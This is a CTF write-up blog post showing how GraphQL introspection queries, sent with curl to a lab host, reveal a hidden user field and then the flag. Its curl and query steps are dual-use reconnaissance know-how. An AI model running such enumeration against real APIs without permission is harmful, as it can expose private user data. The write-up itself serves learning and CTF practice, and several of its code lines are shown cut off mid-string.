0

1

1

Fun with GraphQL Introspection

#ctf #graphql #introspection #2articles1week

hardword Oct 2, 2020 • 4 min read

This post is a writeup of '**funny-blogger**' challenge from [Cyberedu Warm-up CTF #1](#)

Once you access the challenge web page, you can find a jQuery script to fetch blog posts.

```
var arr = document.URL.match(/article=([0-9]+)/)
    var article = arr[1];
    if (article >= 0) {
        console.log(article);

        var request = $.ajax({
            method: "POST",
            dataType: "json",
            url: "/query",
            contentType: "application/x-www-form-urlencoded",
            data: "query=eyJxdWVyeSI6IntcbiAgICAgICAgICAgICAgICBhbGxQb3N0c3tcbiAgICAgICAgICAg
            success: function(response) {
                document.getElementById("title").innerHTML = response.data.allPosts.edges[article
                document.getElementById("content").innerHTML = response.data.allPosts.edges[artic
            }
        })
```

When you decode the data part of POST request, and remove all unnecessary noises (whitespaces, newlines..), you'll get this query.

`{"query":"{allPosts{edges{node{title\nbody}}}}"}`

Further analysis of the HTTP traffic between the browser and the server shows that this request fetches all the blog post via `query` end point and then show only the post that the article parameter is pointing, like `/article=1`. #classicGraphQL

And here is the `curl` request to get all posts (or `node`s).

```
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rl

[
  {
    "node": {
      "title": "Day #0 of happines!",
      "body": "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem I
    }
  },
  {
    "node": {
      "title": "Day #1 of happines!",
      "body": "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem I
    }
  }
]
```

There are 800 posts (`article=0` through `article=799`) with the same format for `title`s and the same contents for `body`s and there is obviously no sign of flag from a normal request.

I jumped to check the *Introspection of GraphQL* query [1][2], because why not, with a hope of there being something in `node` object other than `title` and `body` which "hopefully" will give me the flag. And here are the steps that I took toward the flag.

Step 1. Checking all `type`s from `__schema` gives a name to check `PostObject`

```
{"query":"{__schema{types{name}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6IntfX3NjaGVtYXt0eXBlc3tuYW1l

{"data":{"__schema":{"types":[{"name":"Query"},{"name":"Node"},{"name":"ID"},{"name":"PostObjectC
```

Step 2. Checking all `fields`s from `PostObject` type gives a list of `filed` names.

```
{"query":"{__type(name:\"PostObject\"){name\nfields{name}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlBvc3RPYmplY3
```

```
{"data":{"__type":{"name":"PostObject","fields":[{"name":"id"},{"name":"title"},{"name":"body"},{
```

Step 3. `id` and `authorID` do not dive anything special as `title` and `body` did. But I found that `author` is another type, `UserObject`, which looks interesting, again because why not.

Step 4. Checking all `fields`s from `UserObject` type gives an interesting field called `randomStr1ngtoInduc3P4in`

```
{"query":"{__type(name:\"UserObject\"){name\nfields{name}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlVzZXJPYmplY3

{"data":{"__type":{"name":"UserObject","fields":[{"name":"id"},{"name":"name"},{"name":"email"},{
```

Step 5. `randomStr1ngtoInduc3P4in` gives strings of flag format but not quite a flag we want. And it looks like we need to find a right one out of 800.

```
{"query":"{allPosts{edges{node{author{randomStr1ngtoInduc3P4in}}}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rl

[
  {
    "node": {
      "author": {
      "author": {
        "randomStr1ngtoInduc3P4in": "ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! N
      }
    }
  },
  {
    "node": {
      "author": {
        "randomStr1ngtoInduc3P4in": "ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! N
      }
    }
  }
]
```

Step 6. Found the flag with `grep`

```
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rl

ECSC{b8e9be2eb35748a0aa...}
```

REST in Peace: Abusing GraphQL to Attack Underlying Infrastructure - LevelUp 0x05

OxO5
REST in Peace: Abusing GraphQL to Attack Underlying Infrastructure by Matt Szymanski
OUTHACK THEM ALL

[1] https://graphql.org/learn/introspection/
[2] https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/

Discussion (0)

Subscribe

Add to the discussion

Code of Conduct • Report abuse

Read next

Hasura 2.0 - A Short Story of v1.3.3 to v2.0 Upgrades
Adron Hall - Feb 23

Improve GraphQl productivity with Altair GraphQl client
Christopher Daniel - Mar 29

Tie down scheme for an Apollo GraphQL server in a Node Docker container
Precious Chicken - Mar 29

Fetching and displaying data with GraphQL on a next.js front-end
Swayne - Mar 29

hardword

bash

Follow

JOINED
May 19, 2017

Trending on DEV Community 🔥

April 16th, 2021: What did you learn this week?

#weeklylearn #discuss #weeklyretro

How to get back after failures in life?

#productivity #career #watercooler

Why you should stop z-index:9999

#css #javascript #productivity